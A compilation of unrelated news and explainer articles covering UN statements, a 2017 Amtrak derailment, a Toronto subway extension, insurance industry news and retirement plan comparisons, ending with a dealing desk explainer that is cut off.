He said that since the US decision, the Palestinian leadership canceled meetings with visiting Vice-President Mike Pence, and called for the establishment of a new mechanism to achieve peace.

Palestinian President Mahmoud Abbas has also vowed to seek unilateral recognition of Palestine and to seek full membership in international organizations in the absence of a meaningful peace process, Mladenov added.

Regarding Israel's settlement activities, housing construction in occupied Palestinian territory has continued, with significantly more units advanced and approved in 2017, he said.

For instance, in East Jerusalem, the increase has been from 1,600 units in 2016 to some 3,100 in 2017.

In addition, 2017 has seen worrying legislative, judicial and administrative initiatives that aim to change the long-standing Israeli policy concerning the legal status of the West Bank and the use of private Palestinian land, Mladenov warned.

UN Photo/Kim Haughton

Source: www.justearthnews.com




2017 has seen a dramatic increase in violence. The previously unstable regions, such as the center and the north west, have remained very tense. In addition, the entire south-west that had previously been spared by the crisis, is now the worst-hit region, said Christine Muhigana, UNICEF Representative in the country, at the regular press briefing in Geneva.



Children and women are of course the first victims: half of the population in CAR is in need of humanitarian support, that is 2.5 million people, including 1.3 million children.



Currently, 20 per cent of the schools are closed because of insecurity, and those that are open have too many pupils and not enough teachers.



Reports of childrens rights violations are on the rise. In 2017, 50 per cent more documented incidents than the previous year, twice the number of children recruited into armed groups.



Immunization campaigns have been disrupted in several regions due to persistent insecurity, and basic healthcare needs are not met especially in regions where the NGOs are no longer able to operate.



As UNICEF Representative, I am very concerned about the lasting impact this crisis is having on children. We have a whole generation at risk of growing up traumatized, without proper education, without healthcare and constantly exposed to the most horrific violence, she said.



UNICEF has helped provide temporary learning spaces for over 50,000 children in 2017, and plans to do so for 85,000 children in 2018.



The agency also provided support for children released from armed groups to reintegrate into society.



Through a rapid response mechanism, UNICEF has been able to provide non-food items, such as mats, mosquito nets, blankets, and cooking supplies, to nearly 25,000 households and emergency water and sanitation interventions to almost 72,000 people.



At the same time, the agency received only 46 per cent of the funding needed to meet the humanitarian needs this year.



In 2018 the needs are growing: we are going to need every support we can get, if we do not want the children of CAR to be left to a terrible fate, she said.



Photo: OCHA/Yaye N. Sene.



Source: www.justearthnews.com












New York, Dec 19(Just Earth News): Denouncing Mondays attack on a Methodist church in western Pakistan, United Nations Secretary-General called for those behind the incident be held accountable.

In a statement issued by his spokesperson, Secretary-General Anthony Guterres strongly condemned the attack which occurred in the city of Quetta, which is also the capital of the Balochistan province in the country.

He calls for the perpetrators of the attack to be brought to justice, the statement added.

According to reports, at least nine people were killed in the suicide attack and many have been wounded.

In the statement, Guterres also expressed his condolences to the families of the victims and wished a speedy recovery to those injured.

UN Photo/Violaine Martin (file)

Source: www.justearthnews.com
Islamabad, Dec 19 (IBNS): The Pakistan government has said it is examining the proposal to replace the US dollar with the Chinese yuan for trade between China and Pakistan.

Minister for Planning and Development Ahsan Iqbal was quoted as saying by Dawn News: "We are examining the use of RMB instead of the US dollar for trade between the two countries."

He said use of yuan will not be against the interest of Pakistan.

He said the move will benefit Pakistan.

The Pakistani minister expressed the thoughts during the formal launch of Long Term Plan (LTP) for the China-Pakistan Economic Corridor (CPEC) 2017-30 signed by the two sides on Nov 21.

Chinese Ambassador Yao Jing and officials of the provincial governments attended the event on Monday.
Washington State Patrol Twitter

Seattle, Dec 18 (IBNS): An Amtrak train derailed Monday morning in the state of Washington in United States during its inaugural run in a new route, killing several people, said officials.

The accident occurred near Dupont, Washington, as several cars of the train jumped the track and one dangled off an Interstate 5 overpass precariously. The mishap was reported around 7:30 a.m. (1530 GMT).

WSP diverting traffic at DuPont. WSP aiding withbroad closure & getting assistance to scene. pic.twitter.com/fRw4uGNIVv  Trooper Brooke Bova (@wspd1pio) December 18, 2017

In a statement, Amtrak said the train that derailed was Train 501, operating from Seattle and Portland. It derailed south of Tacoma, Wash.

"There were approximately 78 passengers and five crew members on board. Initial reports are that some injuries are reported to passengers and crew, and taken to local medical facilities for treatment.

"Individuals with questions about their friends and family on this train should call (800) 523-9101. Local emergency responders are on the scene," said the train company.

"Service from Seattle to points north and east is continuing to operate. Amtrak Cascades Trains 504 and 509 are cancelled. No alternate transportation will be available," it said.

Washington Gov. Jay Inslee said in a statement: "Today's tragic incident in Pierce County is a serious and ongoing emergency. Trudi and I are holding in our hearts everyone on board, and are praying for the many injured. They are our top priority, and I know first responders are doing everything to ensure everyone has the care they need."

Media reports said 77 patients were taken to hospitals in Pierce and Thurston counties, according to CHI Franciscan Health.

Four are considered level red patients with the most severe injuries, it said



The derailment sent at least one car off a bridge onto a crowded highway.

Amtrak passenger Chris Karnes told local news outlet KIRO 7 that passengers were forced to kick out of the train windows in order to escape.

However, the number of deaths are yet to be announced.

According to reports, no motorists were dead but several received injuries.

Image: Washington State Patrol
Toronto, Dec 19 (IBNS): With the new Line 1 extension of the Toronto Transit Commission's (TTC's) subway train network commissioned recently, the city's transport system got a major fillip, according to media reports.

The 8.6 kilometre extension includes six new stations and goes all the way to Vaughan.

The Toronto-York Spadina Subway Extension involved a cost of nearly $3.2 billion, media reports said.

"The subway will also be the first time ever that the TTC subway system will cross a municipal border, linking Toronto and York University with York Region with fast and frequent rapid transit, said Josh Colle, Chair of the TTC.

The inauguration saw Premier Kathleen Wynne, along with Prime Minister Justin Trudeau, Toronto Mayor John Tory, Josh Colle, TTC Chair, and Wayne Emmerson, York Region Chairman and CEO as well as other local transit and elected officials taking the inaugural ride on the new stretch linking Toronto with Vaughan.

Todays celebration clearly indicates what we can achieve when all levels of government work towards one common goal  building more transit, Steven Del Duca, Ontario Minister of Transportation was quoted as saying by the media.

The six new subway stations are Downsview Park, Finch West, York University, Pioneer Village, Highway 407 and Vaughan Metropolitan Centre.

Approximately $974 million for this project has been provided by Ontario through the Move Ontario Trust, $904 million by City of Toronto, $697 million by the federal government and up to $604 million by the York Region.

This project will now allow commuters to get from the new subway terminus at Vaughan Metropolitan Centre to the Sheppard West station in about 14 minutes, and to Union Station in 42 minutes .

Students have also welcomed the opportunity to avail the rapid transit to York University, reports said.



The Line 1 Extension/Toronto-York Spadina Subway Extension (TYSSE) will add an estimated 36 million transit trips and eliminate 30 million car trips per year and help in reduction of traffic congestion, improvement of air quality and fight climate change, according to the TTC.

This milestone marks the first in a series of game-changing transit projects the Ontario government will open in the coming years, the government said.

Starting on January 7, 2018, the line will offer adult, senior, youth and student TTC fare of just $1.50 when they use a PRESTO card to transfer to or from GO Transit or the Union Pearson Express.

This opening is another example of all levels of government working together to deliver billions of dollars in transit infrastructure and our ongoing commitment to getting Toronto moving...More transit is a good thing for our city, our province and our country,  John Tory, Mayor of Toronto said.

Wayne Emmerson, York Region Chairman and CEO called this occasion as monumental for 1.2 million people who call York Region home and said, "It reinforces our Councils support of transportation and transportation-related initiatives, and will help further develop an urban community that is transit-oriented, forward-thinking and has economic development opportunities to benefit current and future generations.



(Reporting by Asha Bajaj)

Image: Facebook
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A man who shoplifted a woman's bag from a store in Delhi's Indira Gandhi International Airport (IGI) thought he had gotten away with the crime when he landed in Pune.

But little did he know that his act was caught on camera and the authorities were waiting for him.

BCCL/ Representational Image

A Pune based business executive was sent back from the city airport to Delhi, to return the bag he had stolen from a store in Delhi's Terminal 3, Hindustan Times reported.

After the shop authorities noticed the bag was missing, they traced it using CCTV visuals.

But by the time the man was identified, his flight to Pune had already taken off. The CISF authorities then alerted their counterparts in Pune, who in turn detained him on arrival.

BCCL/ Representational Image

The accused was asked to board the next flight back to Delhi and return the bag, which he did. The shoplifter was let go as the store withdrew the complaint after the bag was returned.
Women in Mumbai, queued up on December 18 to board five Andheri-Virar locals, inspiring men to join in. They believe that the idea will work and unruly behaviour at station platform can be corrected if simple procedures are followed.

Pulling off a little stunt, Mumbaikars proved that with little effort, unruliness can be weeded out of our commute.

The Railway Protection Force (RPF)-Western Railway planned to ask women commuters to queue up to board trains at some of the suburban stations ('Mumbai, fall in line', MM, December 9), the experiment at Andheri station during the evening rush hour yesterday proved to be a tremendous success.

facebook

The men too followed in line and voluntarily queued up alongside the women commuters to board the 6.35 pm Andheri-Virar local on Monday.

"The RPF selected five Virar bound locals starting from Andheri (5.47 pm, 6.12 pm, 6.35 pm, 6.50 pm, and 7.21 pm), and deployed 20 women constables who approached commuters on platform numbers 8 and 9 and asked them to queue up before boarding the train", reported Mumbai Mirror.

Youtube

"Commuters were more than happy to support the drive," said RPF-Western Railway's Divisional Security Commissioner Anup Kumar Shukla.

"They readily queued up, and while a few did lunge forward as the train approached the platform, the discipline was by and large maintained," Shukla said.
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Credit management specialist Atradius has launched a new portal that will enable clients to manage their policies online, it was announced today.Digital platform Atrium will use Oracle technology to offer customers immediate access to information, enabling them to apply for credit limits in real time.Atradius said the portal will deliver a fast, simple, user-friendly solution for its customers, providing an easy way to complete credit insurance transactions worldwide in more than 45 countries.The Atrium customer portal is an important milestone for us as we move to modernise our business, Dr. Jorg Muller, Atradius group IT director, said in a statement.It is a tremendous timesaver for our customers and reduces the risk of errors, making credit management fast, simple and transparent. Oracle and its technology are integral in helping us improve our customers experience in a landscape now dominated by digital engagements, he went on to say.The platform, which connects to a back-office application based on Oracle business application technology, has been built with a flexible architecture so that new functionalities can be added easily, according to Atradius. The company said it has consistently and deliberately standardised its IT environment on Oracle, adding that it benefits from seamless integration and optimum use of Oracle licenses.The companies that use Atradius software are serving consumers who are digital and mobile first in every part of their daily lives, Rene van Stiphout, Oracles country leader for the Netherlands, said.They demand the same fast and accurate digital experience from the companies providing financial and insurance services. It is imperative that Atradius provides platforms that enable them to meet these expectations.The launch of Atrium follows the success of the award-winning Atradius Insights online analysis tool, which helps companies identify risks, monitor portfolio performance and find new business opportunities.
The Federal Government has announced its formal response to the final report of the Northern Australia Insurance Premiums Taskforce, as well as its response to the Senate Inquiry into the general insurance industry.In response to the taskforce, the Government backed the role of mitigation and stated that it would not intervene in the insurance market directly.In its assessment of policy options, the Taskforce found that mitigation activities to reduce the risk of damage from cyclones are the only way to reduce premiums on a sustainable basis, Kelly ODwyer, minister for revenue and financial services said in the official response. The Government accepts this finding, and will not intervene directly in the insurance market. NIBA CEO, welcomed the decision not to intervene.Those sorts of matters can lead to all sorts of unintended consequences when those sorts of things happen, Booth told Insurance Business.The ICA also welcomed the response, with Rob Whelan, ICA CEO, calling it fair, reasonable and balanced and calling for the Government to step up its mitigation efforts.In its pre-Budget submission lodged last week, the Insurance Council urged the Government to commit to implementing the Productivity Commission recommendations by investing at least $200 million a year on mitigation, Whelan continued. Notwithstanding Budget pressures and debt reduction targets, investing in mitigation must be made a high priority by this government.Rather than intervene in the market, the Government will proceed with a set of reforms designed to place downward pressure on insurance premiums through increased accountability and transparency within the industry.The Government called on the Insurance Council of Australia to expedite its work on reforming the General Insurance Code of Practice and tasked ASIC with developing options to improve consumer understanding of insurance products as part of its development of a financial literacy strategy.The Commonwealth treasury was also tasked with developing proposals to improve consumer understanding through better transparency and enhanced disclosure practices in the insurance sector.The Government response also calls for an extension of the unfair contract term provisions to contracts of insurance, a move that Booth questioned.We are very cautious about that and in some instances really quite nervous, Booth said. Ultimately, it may operate in favour of clients and policyholders and if it turns out to be a positive mechanism for clients then the brokers would support that.There are things that have to operate where the insurers have to have a capacity to set their own terms of what risks they will receive and what prices they will charge for those risks. If you start changing that, you upset the process.
Locktons Northeast business has revealed that it has gained the services of Bruce Cohen, who will serve as the groups new senior vice-president, client executive.Bruce has worked with global clients to help them manage their complex global risk in the United States and Latin America for years, said Lockton Washington D.C. president Bob Connolly. We are excited to welcome and support Bruce as we continue to grow our business in the Northeast.Following his appointment, Cohen will be based in Locktons Washington D.C. office.Cohen has nearly 30 years of expertise in the industry. Prior to joining Lockton, he had spent almost 20 years at Marsh , serving the companys clients in Latin America and the US. He lived in Mexico City and later Miami, where he worked with clients and trained hundreds of colleagues in the Caribbean and Latin America, a release said.He spent much of his time working with government contracting, technology, manufacturing and food and beverage clients. A release said that Cohen specializes in multinational risk and international casualty placements. He has a Masters Degree in International Public Policy from Johns Hopkins University and a bachelors in finance and business administration from the University of Colorado. Cohen also has the Chartered Property and Casualty Underwriter (CPCU) designations.
Whats in a name? When St. Louis-based Powers Insurance and Benefits changed its name in August to Powers Insurance & Risk Management, it was a strategic move that had been in the works for several years, intended to reflect a shift in the agencys focus.

About three years ago, the family owned, independent insurance agency began using what it calls a consultative risk management approach with its business and individual clients, according to the companys president, J.D. Powers. That consultative approach involves identifying potential threats to the financial well-being of the agencys clients, and constructing and executing a plan to minimize those threats. Risk assumption, risk retention, risk transfer and risk avoidance are all addressed in the process.

Despite the name change, Powers Insurance still provides clients with employee benefits products and services. But to better serve its customers in that area, the agency several years ago merged its benefits division with a benefits-only firm to assure that our clients had experts to navigate and address the Affordable Care Act. This allowed us to really home in on our skills and focus our time on our core business, which is property and casualty insurance and risk management, Powers said.

Specialization is key to success in todays business environment, in Powers view. And as a specialist in risk management, he believes there is a duty to help clients make informed decisions to make sure theyre protecting themselves, their employees, their assets, and addressing any potential liability to litigation exposures.

Manufacturing, educational institutions, hospitality, property management and real estate, and contractors, are industries in which Powers Insurance specializes, and those in which the bulk of the agencys commercial clients operate.

When the agency launched the name change in August, Powers said in the agencys announcement that a large part of its risk management business would target cybersecurity, which is crucial in todays world. We want to help minimize the material risks and prevent cyberattacks that can make our clients more vulnerable in todays marketplace.

Whether for an individual or a business, a good place to start when helping a client manage their risk is with a comprehensive risk assessment, Powers said. Many businesses have not undertaken a comprehensive risk assessment and its almost a guarantee that they have a major uncovered exposure that theyre not aware of if they have not gone through a comprehensive risk assessment. Practically no individuals have gone through any kind of comprehensive risk assessment. Regardless of your wealth, there are a lot of exposures.

After delving into every aspect of a business and assessing every exposure, you decide how you want to address that risk. One way is transferring risk through an insurance policy, but thats not always the answer, Powers said.

One area of risk thats often overlooked are vendor and customer contracts. Its really important to make sure that a businesss insurance program is properly aligned with their contractual obligations, Powers said. There needs to be certain language in the insurance policy to make sure it responds properly. Thats very often overlooked by an insurance agent.

Other risks that need to be assessed and managed include employment practices, pollution exposures, disaster continuity and workers compensation, Powers said.

2017 Development of the Year

Powers Insurance and Risk Management is a second-generation, family owned company with 25 employees. It is licensed and serves both commercial and personal lines clients in all 50 states.

The firm this year completed the construction of a new headquarters building that houses both the agency and its sister company, Valley Insurance Agency Alliance (VIAA), a network of more than 100 independent agencies located in Missouri and Illinois.

The 17,000-square-foot building cost approximately $3 million and was built on the site of a property that had been vacant for more than 13 years. The city of St. Louis and the St. Louis Development Corporation recognized Powers Insurance for its new headquarters with their 2017 Development of the Year award.

In a statement released by the agency, J.D. Powers said the award was meaningful because the agencys new headquarters represent our commitment to the entire region.  This recognition means a great deal to us as we aspire to be a catalyst for unity, growth, and prosperity.

The agency also has gone green, so to speak, by pledging to plant a tree for every new client that comes on board. The campaign, which began on Sept. 1, coincides with Powers Insurances commitment to carbon neutrality, according to the companys website. The agency has purchased land along the Meramec River where the trees will be planted. It also has pledged to plant trees in public parks and other areas of the state in need of beautification.

A Youthful Outlook

We are very young, a very young group, Powers said. He added that the agency drives a lot of organic growth which is pretty much unheard of in our industry. As a result, the insurance carriers are a big fan of us, obviously, because of how much organic growth we can drive and because were a young workforce. We have a good range of age groups and experience, but we have young talent pretty much across the board.

Powers said his philosophy behind attracting and retaining young talent in the firm is to figure out what theyre really good at and structure an environment that theyre able to thrive in utilizing those talents. They are some of the most loyal workers if you can accommodate them in that way. Thats how weve had our success with it.

The agency previously has been honored as an Insurance Journal Best Agency to Work For, winning the Silver award for the Midwest region in 2015. IJs Best Agency award winners are selected on the strength of the ratings and comments provided by employees responding to IJs Best Agency online survey.

In the 2015 survey, Powers employees praised their employers extensively, with one stating that the agency has a clear vision for growth and profitability. The second generation is coming on to take charge and move the agency forward to the next level. The employees are faithful, dedicated and hard working.

Another employee praised the risk management focus the agency has developed, stating: We protect the client, the family and his/her business. We think outside the box to make sure all aspects of risk management are considered and communicated.

Topics Missouri Risk Management
Chubb has named Matt Booker, as senior vice president, Major Accounts Property, in the United States. In this capacity, he will have responsibility for underwriting, strategy, production, product development, management, and profit and loss performance for Chubbs retail commercial large accounts property insurance business, which focuses on the risk transfer and fronting needs of domestic and multinational clients based in the United States.

Booker succeeds Brian Church, who was recently appointed head of International Property for Chubbs overseas general business. He oversees all of Chubbs retail commercial property insurance business throughout Asia, Latin America, Europe, the Middle East and Africa.

Booker reports to Derek Talbott, division chairman of Chubbs North America Property.

Booker has 15 years of insurance experience, with seven years spent at Chubb. Prior to this new appointment, he served as a senior vice president and New York and Mid-Atlantic regional property underwriting manager. Earlier in his career, Booker held a number of positions at Munich Re, including as a senior property underwriter/team leader in London, where he led a small team handling property insurance for Fortune 5,000 companies in the UK, Africa, the Middle East, parts of Asia, and Australia; as well as a property underwriter in Germany, focusing on North American property business. Booker started his property underwriting career with XL Insurance in New York.

Chubbs Major Accounts Property division provides significant risk and catastrophe capacity and specialized fronting and captive products to large multinational customers. The unit distributes its core property products through retail partners across the country.

Topics Commercial Lines Business Insurance Property Chubb
The worst hurricane season in memory has spurred President Donald Trump to consider new ways to prod private homeowners to move out of flood plains. But many of the federal governments own buildings are also at risk of flooding, including the one that Trump has leased for his Washington hotel.

The U.S. General Services Administration, which runs most non-defense federal facilities, owns or operates 14.3 million square feet of buildings in the flood zone. Thats equivalent to nearly three Pentagons, spread across 14 states, the District of Columbia and the Virgin Islands.

Unlike private buildings, those structures arent required to follow local permitting rules for flood risk. And they dont carry flood insurance.

The greatest concentration of flood-exposed federal civilian buildings is in Washington, according to documents obtained by Bloomberg News through a government-records request.

In Washington, the list of properties in the 100-year flood plain includes the headquarters of the Environmental Protection Agency, the Department of Commerce, the Internal Revenue Service and the Justice Department, the government data shows. The EPAs headquarters alone has sustained $1.6 million in flood or wind damage over the past decade.

The headquarters of the Federal Emergency Management Agencythe agency responsible for responding to floods, hurricanes and other disasterssits just outside the floodplain.

The list of government-own properties in the 100-year flood zone also includes the Old Post Office Pavilion, which the Trump Organization leased and has opened as Trump International Hotel.

Patricia Tang, director of sales and marketing for the hotel, said she didnt know whether the companys management was aware the building was in a flood plain when it pursued the lease. However, I would assume that it wouldnt have been an issue, otherwise they wouldnt have gone forward.

Tang said the hotel has a lot of plans to deal with flooding and other security risks. She declined to say what those plans were.

Unlike homeowners with federally backed mortgages, government buildings in flood zones arent required to carry flood insurance. So, when those buildings get flooded, taxpayers shoulder the cost. For example, the U.S. Post Office in Galveston, Texas, flooded during Hurricane Harvey and also during Hurricane Ike in 2008; the two events cost taxpayers $1.5 million.

As warmer temperatures lead to more frequent and severe hurricanes, rainstorms and other types of extreme weather, the number of federal properties exposed to flooding is likely to grow.

The risk has already started to spread: While the most expensive damage to federal facilities over the past decade occurred at buildings in the flood plain, an even greater number of buildings hit by floods or wind damage were outside that zone.

The GSA says its policy is to avoid putting new properties in the flood plain unless there are no alternatives in the area. For buildings that are in a flood plain, GSA has a process to identify and mitigate adverse impacts from flooding, the agency said.

Yet the federal governments own rules for reducing flood exposure have been weakened under this administration. In August, President Donald Trump reversed an Obama-era rule that required federally funded buildings and other government projects to account for future flood risks.

That leaves federal agencies poorly equipped to protect their buildings against the risks, said Chad Berginnis, executive director of the Association of State Flood Plain Managers.

The federal government needs to follow a robust examination of flood risk when it decides where and how to build new facilities, Berginnis said in an email. The 100-year floodplain was not enough.

Related:

Copyright 2022 Bloomberg.

Topics Flood Washington Hurricane Pollution
A jury has rejected claims from the relatives of a man who died in a lawn-mowing accident in North Little Rock five years ago.

Cedric Quinn Hill was found crushed to death under a Kubota L275 tractor in May 2012. His family filed a civil suit against the manufacturer and its Arkansas affiliate several months later, saying that the tractor was defective.

According to the Arkansas Democrat-Gazette, jurors last week rejected those claims and cleared Kubota of any responsibility in Hills death.

The lawsuit had argued that the tractor was defectively designed and that it lacked necessary safety equipment like a roll bar and seat belts.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Arkansas Manufacturing
A coastal North Carolina county is trying to find a way to provide fire protection to a remote island after volunteers quit providing service.

The Daily Advance of Elizabeth City reports Knotts Island volunteer firefighters quit Nov. 8, citing an impasse with the county over a contract extension.

Since then, Currituck County has provided four paid personnel for firefighting while officials search for a long-term solution.

County Manager Dan Scanlon told a town hall that a mix of paid and volunteer firefighters is probably the answer. He says an all-paid department is too expensive and an all-volunteer one isnt reliable enough.

Volunteer firefighters who spoke at the town hall said they were unaware of the issue until the contract had lapsed.

Topics North Carolina
Surveillance video shows that an intruder lit the fire that damaged a building at a Mississippi community college.

The predawn Thursday blaze damaged more than half of Mississippi Delta Community Colleges Stauffer-Wood Administration Building in Moorhead.

College spokesman Reed Abraham tells The Greenwood Commonwealth that officials first suspected arson because a van was also stolen. Abraham says keys to the van were kept in a building office.

The burned van was recovered miles away.

Abraham says the intruder was inside for more than an hour before setting the fire.

The state Fire Marshals office is offering a $5,000 reward for information.

President Larry Nabors says the fire wont affect plans for classes to resume on Jan. 2. He says the college is looking for new offices for displaced employees.

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics Education Mississippi Universities
Crews are using a break in winds to do a controlled burn to remove dry brush and build containment lines around Southern Californias Thomas Fire.

Fire spokesman Capt. Rick Crawford said Tuesday that officials will remove fuels on the fires northern edge so if winds start up again Wednesday therell be nothing left to burn.

The blaze northwest of Los Angeles is now considered the third largest in state history and has destroyed some 1,000 structures. Its 50 percent contained. Some evacuations were lifted Monday and Crawford says more residents are being allowed to return Tuesday.

Homes are still threatened in parts of Santa Barbara County, where firefighters plan an air attack on flames.

Related:

Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.

Topics California Wildfire
457 Plan vs. 403(b) Plan: An Overview

The public sector may be the last bastion of the defined-benefit planthe old-fashioned pension funded by an employer and automatically paid to employees after retirement.

But nowadays, no single source of income may be enough to ensure a comfortable retirement; people also need to save on their own to make ends meet in retirement. Unfortunately, public-sector and nonprofit organizations don't offer 401(k) plans to which employees can contribute. However, they can and do offer other employer-sponsored plans: the 403(b) and the 457.

Key Takeaways Public-sector and nonprofit organizations don't offer their employees 401(k) plans.

These organizations can offer other employer-sponsored plans, such as the 403(b) and the 457 plans.

There are two different types of 457 plansthe 457(b), offered to state and local government employees, and the 457(f) for top executives in nonprofits.

A 403(b) plan is typically offered to employees of private nonprofits and government workers, including public school employees.

If you are eligible for both plans, you can split your contributions between them.

1:34 What Is a 457 Plan?

The 457 Plan

There are two types of 457 plans. A 457(b) is offered to state and local government employees, while a 457(f) is for top-level executives at non-profits.

457(b)

If you have a 457(b) plan, you can contribute up to $22,500 for 2023 (up from $20,500 in 2022). You can also contribute an additional $7,500 in 2023 (up from $6,500 in 2022) if youre 50 or older.

You can contribute even more if you are within three years of normal retirement age. You may be able to contribute as much as twice the limit if you're within three years of normal retirement age. This amount is $45,000 for 2023, up from $41,000 in 2022. However, your maximum contribution when you are within three years of normal retirement age is the lesser of twice the contribution limit or the annual limit plus the unused annual limit from prior years.

457(f)

The 457(f) plans differ significantly from their 457(b) counterpart. They are often described as golden handcuffs because they are primarily used to recruit executives from the private sector, where the pay tends to be higher and the benefits more generous.

Under a 457(f) plan, compensation is deferred from taxation. However, this deferred compensation is subject to a "substantial risk of forfeiture," which means executives risk losing the benefit if they fail to meet specific requirements for length of service and performance.

When the compensation becomes guaranteed and is no longer subject to the risk of forfeiture, it becomes taxable as gross income.

Unless you become the head of a nonprofit organization (NPO), you're unlikely to run into the 457(f) plan. Because the deferred compensation is not yet paid and is sheltered from taxation, the benefits remain in the hands of the employer. Rules require that executives perform services for at least two years to receive benefits under a 457(f) plan.

If you have a 457(f) plan, there is no limit on how much income can be deferred from taxation. However, amounts deferred are subject to a substantial risk of forfeiture.

Pros and Cons of the 457 Plan

Pros

The 457(b) allows participants to double their retirement plan contributions if they are within three years of normal retirement age. Those who fall into this category can contribute up to $45,000 in 2023 (up from $41,000 in 2022).

You can also put in an extra $7,500 per year in 2023 (up from $6,500 in 2022) if youre at least 50 years old.

While other plans do not allow distributions until you are 59 years old, your 457(b) benefits become available when you no longer work for the employer providing the 457(b) plan. Otherwise, distributions are permitted when you are 72 (or 70 years old if you reached that age before January 1, 2020) or if needed for an unforeseeable emergency.

If you leave your job, you can roll your account over into a Roth IRA or 401(k). This is an option for the 457(b) plan but not the 457(f) plan.

Cons

Unlike the 401(k), the match your employer contributes will count as part of your maximum contribution. For example, if your employer contributes $9,500 in 2023, you can only contribute $13,000 unless youre eligible for a catch-up strategy.

There are much higher contribution limits in a 401(k) plan. For example, employer matching and employee normal and catch-up contributions are $73,500 for 2023 (up from $67,500 in 2022).

Few governments provide matching programs within the 457(b) plan. Its mostly up to the employees to make sure theyre saving an adequate amount.

The 457(f) plan requires that employees stay on the job for a minimum of two years. Those who leave earlier forfeit their right to the 457(f) plan.

The IRS makes annual adjustments to contribution and deduction limits based on inflation.

The 403(b) Plan

A 403(b) plan is typically offered to employees of private nonprofits and government workers, including public school employees. Like the 401(k), 403(b) plans are defined-contribution plans that allow participants to shelter money on a tax-deferred basis for retirement.

When these plans were created in 1958, they could only invest in annuity contracts. So, they were known as tax-sheltered annuity (TSA) plans or tax-deferred annuity (TDA) plans.

These plans are most commonly used by educational institutions. However, any entity that qualifies under IRS Section 501(c)(3) can adopt it.

Contribution and Deferral Limits

The contribution limits for 403(b) plans are now identical to those of 401(k) plans. All employee deferrals are made on a pretax basis and reduce the participant's adjusted gross income (AGI) accordingly.

The annual contribution limit, also called the elective deferral, is $22,500 for 2023 (up from $20,500 in 2022). Individuals can invest an additional catch-up contribution of $7,500 for 2023 and $6,500 for 2022 if they're 50 or over.

These plans offer a special additional catch-up contribution provision known as the lifetime catch-up provision or 15-year rule. Employees who have at least 15 years of tenure are eligible for this provision, which allows for an extra $3,000 payment a year. However, this provision also has a lifetime employer-by-employer limit of $15,000 (2022).

Employers can make matching contributions, but the total contributions from employer and employee cannot exceed $66,000 for 2023 (up from $61,000 for 2022).

After-tax contributions are allowed in some cases, and Roth contributions are also available for employers who opt for this feature. Like with 401(k) plans, employers can institute automatic 403(b) plan contributions for all workers, although the employees may opt out at their discretion. Eligible participants may also qualify for the Retirement Saver's Credit.

When calculating 403(b) contribution limits for an individual, the IRS applies them in a specific order. First, they apply the elective deferral. The IRS then uses the 15-year service catch-up provision. These are followed by the catch-up contribution. It is an employer's responsibility to limit contributions to the correct amounts.

Rollovers

The rules for rolling over 403(b) plan balances have been loosened considerably over the past few years. Employees who leave their employers can now take their plans to another employer. They can roll their plans over into another 403(b), a 401(k), or another qualified plan. They can also choose to roll their plans over into a self-directed IRA instead.

This means employees can maintain one retirement plan throughout their careers instead of having to open a separate IRA account or leave their plans with their old employers.

Distributions

Notably, 403(b) plan distributions resemble those of 401(k) plans in most respects:

You can start taking distributions at age 59, whether or not youre still working at that organization.

Distributions taken before age 59 are subject to a 10% early-withdrawal penalty unless a special exception applies.

All normal distributions are taxed as ordinary income.

Roth distributions are tax-free. However, employees must either contribute to the plan or have a Roth IRA open for at least five years before being able to take tax-free distributions.

Required minimum distributions (RMDs) must begin at age 72. The age for RMDs was 70 until it was raised by the SECURE Act of 2019. Investors can avoid RMDs if they roll the plan into a Roth IRA or other Roth retirement plan. Failure to take a required minimum distribution will result in a 50% excise tax on the amount that should have been withdrawn.

Loan provisions may also be available at the employer's discretion. The loan rules are also mostly the same as those for 401(k) plans. Participants cannot access more than the lesser of $50,000 or half of the plan balance. Any outstanding loan balance not repaid within five years is treated as a taxable or premature distribution.

Distributions are reported each year on Form 1099-R, which is mailed to plan participants.

Investment Choices

Investment options in 403(b) plans are limited compared to other retirement plans. Funds can be invested in an annuity contract provided by an insurance company or in a mutual fund via a custodial account.

This situation is a source of ongoing debate in the financial and retirement planning community. Annuities are tax-deferred vehicles in and of themselves, and there is no such thing as double tax deferral.

Most plans now offer mutual fund choices as well, albeit inside a variable annuity contract in most cases. But fixed and variable contracts and mutual funds are the only types of investments permitted inside these plans.

Miscellaneous Issues

Importantly, 403(b) plans differ from their 401(k) counterparts in that, in theory, the contributions are immediately vested and cannot be forfeited. In practice, however, employers can make contributions to a separate account and, as benefits vest, retroactively apply them to the 403(b) plan.

In addition, due to the Bankruptcy Abuse Prevention and Consumer Protection Act of 2005, 403(b) plans also now receive the same level of protection from creditors as qualified plans.

Plan participants should also be aware of all the fees charged by their plan and investment providers. The plan administrator must provide all plan participants a complete breakdown of these fees.

Which Is Better a 403(b) or a 457(b)? A 457(b) plan is better if you need more time to earn money to use toward your retirement. A 403(b) might be better if you want more investment options.

Should I Contribute To Both a 403(b) and 457(b)? You can contribute to both, but you are still bound by the total contribution limits set by the IRS. If you're wondering whether it benefits your situation to contribute to both, it's best to talk to a financial planning professional to see if it makes sense.

What Is The Difference Between a 401(k), a 403(b), and a 457(b)? The main difference is who offers these plans. Private employers offer 401(k)s, and 403(b)s and 457(b)s are generally offered by public sector employers.

The Bottom Line

If you need more time to put aside money for retirement, a 457(b) plan is best for you. It has a better catch-up policy and will allow you to save more money for retirement.

A 403(b) is likely your best bet if you want a larger array of investment options. However, theres a third option for some peopleif you're eligible for both plans, you can split your contributions between them.

That means you can put away $45,000 in 2023 (up from 41,000 in 2022) between the two plans, not including any catch-up contributions if youre eligible. This might appeal more to those with higher incomes who are trying to reduce their taxes.
What Is a Dealing Desk?

A dealing desk is where market makers execute and trade financial instruments like forex, equities, options, commodities, and other financial assets.

Key Takeaways A dealing desk is where market makers execute and trade financial instruments like forex, equities, options, commodities, and other financial assets.

The dealers are there to facilitate trades on behalf of their customers and may act as the principal or the agent.

When acting as principal the dealer takes the other side of the client's trade.

When acting as the agent, the trader will handle a client's order by finding liquidity in the secondary market and the client will receive the same prices executed by the dealer.

Understanding Dealing Desks

